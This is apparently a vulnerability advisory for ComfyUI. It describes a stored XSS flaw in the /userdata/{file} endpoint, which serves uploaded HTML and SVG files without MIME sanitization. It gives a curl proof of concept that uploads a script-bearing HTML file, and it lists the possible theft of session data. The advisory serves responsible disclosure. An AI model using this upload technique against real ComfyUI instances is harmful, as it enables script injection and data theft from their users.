YLChen-007 / **ISSUE-Github-REPORT-StoredXSS-Userdata.md** Secret

Created last month

Code Revisions 1

Stored XSS via /userdata/{file} endpoint — Content-Type sanitization bypass

ISSUE-Github-REPORT-StoredXSS-Userdata.md

Advisory Details

Title: Stored XSS via `/userdata/{file}` endpoint — Content-Type sanitization bypass

Description:

Summary

The `/userdata/{file}` endpoint in `app/user_manager.py` serves user-uploaded files with auto-detected `Content-Type` via `web.FileResponse()`, without any MIME type sanitization. An attacker can upload a crafted `.html` or `.svg` file containing embedded JavaScript, and when any user navigates to the file URL, the browser renders it and executes the script in the context of the ComfyUI origin. This gives the attacker access to the victim's `localStorage` (which stores workflows, settings, and session data), and the ability to make arbitrary API calls to the ComfyUI backend on behalf of the victim.

The `/view` endpoint in `server.py` was previously patched for this exact issue in commits `59d58b11` (#6034) and `4f4f1c64` (#8384), but the fix was never applied to the `/userdata` endpoint.

Details

The `getuserdata` handler at `app/user_manager.py` line 333-339 returns `web.FileResponse(path)` directly:

```
@routes.get("/userdata/{file}")
async def getuserdata(request):
    path = get_user_data_path(request, check_exists=True)
```

```
    if not isinstance(path, str):
        return path
    return web.FileResponse(path)
```

`aiohttp`'s `FileResponse` uses `mimetypes.guess_type()` internally to set the `Content-Type` header based on the file extension. This means:

- `.html` files are served as `text/html`
- `.svg` files are served as `image/svg+xml`

Both of these content types allow JavaScript execution in the browser.

Meanwhile, the `/view` endpoint in `server.py` (line 565-570) explicitly blocks these dangerous MIME types:

```
content_type = mimetypes.guess_type(filename)[0] or 'application/octet-stream
if content_type in {'text/html', 'text/html-sandboxed', 'application/xhtml+xm
    content_type = 'application/octet-stream'  # Forces download
```

This sanitization logic was never applied to the `/userdata` endpoint, leaving it wide open.

The `post_userdata` handler (line 341-395) accepts arbitrary content in the request body and writes it directly to disk, so an attacker simply needs to POST an HTML file to store the payload.

PoC

Prerequisites: A running ComfyUI instance (default port 8188).

1. Upload a malicious HTML file containing JavaScript:

```
curl -X POST "http://127.0.0.1:8188/userdata/test_xss.html" \
  -d '<html><body><script>alert(document.domain)</script></body></html>'
```

2. Open the following URL in a browser:

```
http://127.0.0.1:8188/userdata/test_xss.html
```

3. An `alert()` dialog box pops up showing `127.0.0.1`, confirming JavaScript execution.

4. You can verify the dangerous `Content-Type` header via curl:

```
curl -D - "http://127.0.0.1:8188/userdata/test_xss.html"
```

Expected output:

```
HTTP/1.1 200 OK
Content-Type: text/html
...
<html><body><script>alert(document.domain)</script></body></html>
```

5. Cleanup:

```
curl -X DELETE "http://127.0.0.1:8188/userdata/test_xss.html"
```

Screenshot of Evidence

Impact

This is a **Stored Cross-Site Scripting (XSS)** vulnerability. Once a malicious file is uploaded, any user who visits the URL will have JavaScript executed in the context of the ComfyUI application origin. This allows an attacker to:

- **Steal session data**: Read `localStorage` which contains workflow data (`Comfy.PreviousWorkflow`, `Comfy.Workflow.Drafts`, etc.) and user settings.
- **Execute arbitrary API calls**: Queue malicious workflows, modify settings, upload/delete files on the ComfyUI backend as the victim.
- **Exfiltrate data**: Send stolen data to an external attacker-controlled server.
- **Phishing**: Render a fake login page within the ComfyUI origin.

Affected products

- **Ecosystem**: pip
- **Package name**: comfyui
- **Affected versions**: <= v0.13.0 (latest at time of report, commit `88e63705`)
- **Patched versions**: None

Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Weaknesses

- **CWE**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Occurrences

Permalink
https://github.com/comfyanonymous/ComfyUI/blob/88e6370527dbd602851de07d957a8f1 L339
https://github.com/comfyanonymous/ComfyUI/blob/88e6370527dbd602851de07d957a8f1 L395
https://github.com/comfyanonymous/ComfyUI/blob/88e6370527dbd602851de07d957a8f1

Permalink